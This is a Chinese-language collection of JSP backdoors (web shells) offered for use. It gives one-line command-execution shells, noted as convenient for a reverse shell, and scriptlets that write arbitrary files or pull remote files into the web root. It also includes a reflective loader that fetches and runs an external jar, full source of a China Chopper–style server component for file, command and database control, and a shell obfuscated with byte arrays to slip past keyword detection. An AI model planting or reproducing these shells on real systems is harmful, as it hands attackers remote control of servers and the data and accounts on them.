jsp小后门
一：执行系统命令:
菜刀连接：http://192.168.16.240:8080/Shell/reflect.jsp?u=http://javaweb.org/Cat.jar，密码023. 
解：
利用反射加载一个外部的jar到当前应用，反射执行输出处理结果。request.getParameterMap()包含了请求的所有参数。由于加载的是外部的jar包，所以要求服务器必须能访问到这个jar地址。
下载：Cat.jar Load代码：
无回显执行系统命令：
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
请求：http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls
执行之后不会有任何回显，用来反弹个shell很方便。 有回显带密码验证的:
<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("
");
while((a=in.read(b))!=-1){
out.println(new String(b,0,a));
}
out.print("
");
}
%>
请求：http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls
二、把字符串编码后写入指定文件的：
1:
<%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes());%>
请求：http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234
写入web目录：
<%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes());%>
请求：http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234
2:
<%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>
请求：http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234
写入web目录:
<%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>
请求：http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234
三：下载远程文件(不用apache io utils的话没办法把inputstream转byte,所以很长...)
<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = new byte[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %>
请求：http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png
下载到web路径:
<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = new byte[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %>
请求：http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png
四：反射调用外部jar,完美后门
如果嫌弃上面的后门功能太弱太陈旧可以试试这个：
<%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null, new Object[]{request.getParameterMap()})%>
请求：http://192.168.16.240:8080/Shell/reflect.jsp?u=http://javaweb.org/Cat.jar&023=A 菜刀连接：http://192.168.16.240:8080/Shell/reflect.jsp?u=http://javaweb.org/Cat.jar，密码023. 解：
利用反射加载一个外部的jar到当前应用，反射执行输出处理结果。request.getParameterMap()包含了请求的所有参数。由于加载的是外部的jar包，所以要求服务器必须能访问到这个jar地址。
下载：Cat.jar Load代码：
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
/**
*
* @author yz
*/
public class Load {
public static String load(Map map){
try {
Map request = new HashMap();
for (Entry entrySet : map.entrySet()) {
String key = entrySet.getKey();
String value = entrySet.getValue()[0];
request.put(key, value);
}
return new Chopper().doPost(request);
} catch (IOException ex) {
return ex.toString();
}
}
}
Chopper代码：
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.lang.reflect.Method;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLClassLoader;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.ResultSetMetaData;
import java.sql.Statement;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Map;
public class Chopper{
public static String getPassword() throws IOException {
return "023";
}
String cs = "UTF-8";
String encoding(String s) throws Exception {
return new String(s.getBytes("ISO-8859-1"), cs);
}
Connection getConnection(String s) throws Exception {
String[] x = s.trim().split("\r\n");
try {
Class.forName(x[0].trim());
} catch (ClassNotFoundException e) {
boolean classNotFound = true;
BufferedReader br = new BufferedReader(new InputStreamReader(this.getClass().getResourceAsStream("/map.txt")));
String str = "";
while ((str = br.readLine()) != null) {
String[] arr = str.split("=");
if (arr.length == 2 && arr[0].trim().equals(x[0].trim())) {
try {
URLClassLoader ucl = (URLClassLoader) ClassLoader.getSystemClassLoader();
Method m = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);
m.setAccessible(true);
m.invoke(ucl, new Object[]{new URL(arr[1])});
Class.forName(arr[0].trim());
classNotFound = false;
break;
} catch (ClassNotFoundException ex) {
throw ex;
}
}
}
if (classNotFound) {
throw e;
}
}
if (x[1].contains("jdbc:oracle")) {
return DriverManager.getConnection(x[1].trim() + ":" + x[4],
x[2].equalsIgnoreCase("[/null]") ? "" : x[2],
x[3].equalsIgnoreCase("[/null]") ? "" : x[3]);
} else {
Connection c = DriverManager.getConnection(x[1].trim(),
x[2].equalsIgnoreCase("[/null]") ? "" : x[2],
x[3].equalsIgnoreCase("[/null]") ? "" : x[3]);
if (x.length > 4) {
c.setCatalog(x[4]);
}
return c;
}
}
void listRoots(ByteArrayOutputStream out) throws Exception {
File r[] = File.listRoots();
for (File f : r) {
out.write((f.getName()).getBytes(cs));
}
}
void dir(String s, ByteArrayOutputStream out) throws Exception {
File l[] = new File(s).listFiles();
for (File f : l) {
String mt = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date(f.lastModified()));
String rw = f.canRead() ? "R" : "" + (f.canWrite() ? " W" : "");
out.write((f.getName() + (f.isDirectory() ? "/" : "") + "\t" + mt + "\t" + f.length() + "\t" + rw + "\n").getBytes(cs));
}
}
void deleteFiles(File f) throws Exception {
if (f.isDirectory()) {
File x[] = f.listFiles();
for (File fs : x) {
deleteFiles(fs);
}
}
f.delete();
}
byte[] readFile(String s) throws Exception {
int n;
byte[] b = new byte[1024];
BufferedInputStream bis = new BufferedInputStream(new FileInputStream(s));
ByteArrayOutputStream bos = new ByteArrayOutputStream();
while ((n = bis.read(b)) != -1) {
bos.write(b, 0, n);
}
bis.close();
return bos.toByteArray();
}
void upload(String s, String d) throws Exception {
String h = "0123456789ABCDEF";
File f = new File(s);
f.createNewFile();
FileOutputStream os = new FileOutputStream(f);
for (int i = 0; i < d.length(); i += 2) { os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1)))); } os.close(); } void filesMove(File sf, File df) throws Exception { if (sf.isDirectory()) { if (!df.exists()) { df.mkdir(); } File z[] = sf.listFiles(); for (File z1 : z) { filesMove(new File(sf, z1.getName()), new File(df, z1.getName())); } } else { FileInputStream is = new FileInputStream(sf); FileOutputStream os = new FileOutputStream(df); int n; byte[] b = new byte[1024]; while ((n = is.read(b)) != -1) { os.write(b, 0, n); } is.close(); os.close(); } } void fileMove(File s, File d) throws Exception { s.renameTo(d); } void mkdir(File s) throws Exception { s.mkdir(); } void setLastModified(File s, String t) throws Exception { s.setLastModified(new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").parse(t).getTime()); } void downloadRemoteFile(String s, String d) throws Exception { int n = 0; FileOutputStream os = new FileOutputStream(d); HttpURLConnection h = (HttpURLConnection) new URL(s).openConnection(); InputStream is = h.getInputStream(); byte[] b = new byte[1024]; while ((n = is.read(b)) != -1) { os.write(b, 0, n); } os.close(); is.close(); h.disconnect(); } void inputStreamToOutPutStream(InputStream is, ByteArrayOutputStream out) throws Exception { int i = -1; byte[] b = new byte[1024]; while ((i = is.read(b)) != -1) { out.write(b, 0, i); } } void getCurrentDB(String s, ByteArrayOutputStream out) throws Exception { Connection c = getConnection(s); ResultSet r = s.contains("jdbc:oracle") ? c.getMetaData().getSchemas() : c.getMetaData().getCatalogs(); while (r.next()) { out.write((r.getObject(1) + "\t").getBytes(cs)); } r.close(); c.close(); } void getTableName(String s, ByteArrayOutputStream out) throws Exception { Connection c = getConnection(s); String[] x = s.trim().split("\r\n"); ResultSet r = c.getMetaData().getTables(null, s.contains("jdbc:oracle") ? x.length > 5 ? x[5] : x[4] : null, "%", new String[]{"TABLE"});
while (r.next()) {
out.write((r.getObject("TABLE_NAME") + "\t").getBytes(cs));
}
r.close();
c.close();
}
void getTableColumn(String s, ByteArrayOutputStream out) throws Exception {
String[] x = s.trim().split("\r\n");
Connection c = getConnection(s);
ResultSet r = c.prepareStatement("select * from " + x[x.length - 1]).executeQuery();
ResultSetMetaData d = r.getMetaData();
for (int i = 1; i <= d.getColumnCount(); i++) { out.write((d.getColumnName(i) + " (" + d.getColumnTypeName(i) + ")\t").getBytes(cs)); } r.close(); c.close(); } void executeQuery(String cs, String s, String q, ByteArrayOutputStream out, String p) throws Exception { Connection c = getConnection(s); Statement m = c.createStatement(1005, 1008); BufferedWriter bw = null; try { boolean f = q.contains("--f:"); ResultSet r = m.executeQuery(f ? q.substring(0, q.indexOf("--f:")) : q); ResultSetMetaData d = r.getMetaData(); int n = d.getColumnCount(); for (int i = 1; i <= n; i++) { out.write((d.getColumnName(i) + "\t|\t").getBytes(cs)); } out.write(("\r\n").getBytes(cs)); if (f) { File file = new File(p); if (!q.contains("-to:")) { file.mkdir(); } bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.contains("-to:") ? p.trim() : p + q.substring(q.indexOf("--f:") + 4, q.length()).trim()), true), cs)); } while (r.next()) { for (int i = 1; i <= n; i++) { if (f) { bw.write(r.getObject(i) + "" + "\t"); bw.flush(); } else { out.write((r.getObject(i) + "" + "\t|\t").getBytes(cs)); } } if (bw != null) { bw.newLine(); } out.write(("\r\n").getBytes(cs)); } r.close(); if (bw != null) { bw.close(); } } catch (Exception e) { out.write(("Result\t|\t\r\n").getBytes(cs)); try { m.executeUpdate(q); out.write(("Execute Successfully!\t|\t\r\n").getBytes(cs)); } catch (Exception ee) { out.write((ee.toString() + "\t|\t\r\n").getBytes(cs)); } } m.close(); c.close(); } public String doPost(Maprequest) throws IOException {
cs = request.get("z0") != null ? request.get("z0") + "" : cs;
ByteArrayOutputStream out = new ByteArrayOutputStream();
try {
char z = (char) request.get(getPassword()).getBytes()[0];
String z1 = encoding(request.get("z1") + "");
String z2 = encoding(request.get("z2") + "");
out.write("->|".getBytes(cs));
String s = new File("").getCanonicalPath();
byte[] returnTrue = "1".getBytes(cs);
switch (z) {
case 'A':
out.write((s + "\t").getBytes(cs));
if (!s.substring(0, 1).equals("/")) {
listRoots(out);
}
break;
case 'B':
dir(z1, out);
break;
case 'C':
String l = "";
BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
while ((l = br.readLine()) != null) {
out.write((l + "\r\n").getBytes(cs));
}
br.close();
break;
case 'D':
BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
bw.write(z2);
bw.flush();
bw.close();
out.write(returnTrue);
break;
case 'E':
deleteFiles(new File(z1));
out.write("1".getBytes(cs));
break;
case 'F':
out.write(readFile(z1));
case 'G':
upload(z1, z2);
out.write(returnTrue);
break;
case 'H':
filesMove(new File(z1), new File(z2));
out.write(returnTrue);
break;
case 'I':
fileMove(new File(z1), new File(z2));
out.write(returnTrue);
break;
case 'J':
mkdir(new File(z1));
out.write(returnTrue);
break;
case 'K':
setLastModified(new File(z1), z2);
out.write(returnTrue);
break;
case 'L':
downloadRemoteFile(z1, z2);
out.write(returnTrue);
break;
case 'M':
String[] c = {z1.substring(2), z1.substring(0, 2), z2};
Process p = Runtime.getRuntime().exec(c);
inputStreamToOutPutStream(p.getInputStream(), out);
inputStreamToOutPutStream(p.getErrorStream(), out);
break;
case 'N':
getCurrentDB(z1, out);
break;
case 'O':
getTableName(z1, out);
break;
case 'P':
getTableColumn(z1, out);
break;
case 'Q':
executeQuery(cs, z1, z2, out, z2.contains("-to:") ? z2.substring(z2.indexOf("-to:") + 4, z2.length()) : s.replaceAll("\\\\", "/") + "images/");
break;
}
} catch (Exception e) {
out.write(("ERROR" + ":// " + e.toString()).getBytes(cs));
}
out.write(("|<-").getBytes(cs)); return new String(out.toByteArray()); } }
map.txt:
oracle.jdbc.driver.OracleDriver=http://javaweb.org/jdbc/classes12.jar com.mysql.jdbc.Driver=http://javaweb.org/jdbc/mysql-connector-java-5.1.14-bin.jar com.microsoft.jdbc.sqlserver.SQLServerDriver=http://javaweb.org/jdbc/sqlserver2000/msbase.jar,http://javaweb.org/jdbc/sqlserver2000/mssqlserver.jar,http://javaweb.org/jdbc/sqlserver2000/msutil.jar com.microsoft.sqlserver.jdbc.SQLServerDriver=http://javaweb.org/jdbc/sqljdbc4.jar com.ibm.db2.jcc.DB2Driver=http://javaweb.org/jdbc/db2java.jar com.informix.jdbc.IfxDriver=http://javaweb.org/jdbc/ifxjdbc.jar com.sybase.jdbc3.jdbc.SybDriver=http://javaweb.org/jdbc/jconn3d.jar org.postgresql.Driver=http://javaweb.org/jdbc/postgresql-9.2-1003.jdbc4.jar com.ncr.teradata.TeraDriver=http://javaweb.org/jdbc/teradata-jdbc4-14.00.00.04.jar com.hxtt.sql.access.AccessDriver=http://javaweb.org/jdbc/Access_JDBC30.jar org.apache.derby.jdbc.ClientDriver=http://javaweb.org/jdbc/derby.jar org.hsqldb.jdbcDriver=http://javaweb.org/jdbc/hsqldb.jar net.sourceforge.jtds.jdbc.Driver=http://javaweb.org/jdbc/jtds-1.2.5.jar mongodb=http://javaweb.org/jdbc/mongo-java-driver-2.9.3.jar
无任何命令执行关键字的cmd.zip
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
<jsp:directive.page contentType="text/html" pageEncoding="UTF-8"/>
<jsp:scriptlet>
Class<?> api = String.class.getClass().forName(new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101}));
Object obj2 = api.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class).invoke(api.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101})).invoke(null, new Object[]{}), new Object[]{request.getParameter("str")});
java.lang.reflect.Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
m.setAccessible(true);
java.util.Scanner s = new java.util.Scanner((java.io.InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");
out.write("<pre>" + (s.hasNext() ? s.next() : "") + "</pre>");
</jsp:scriptlet>
</jsp:root>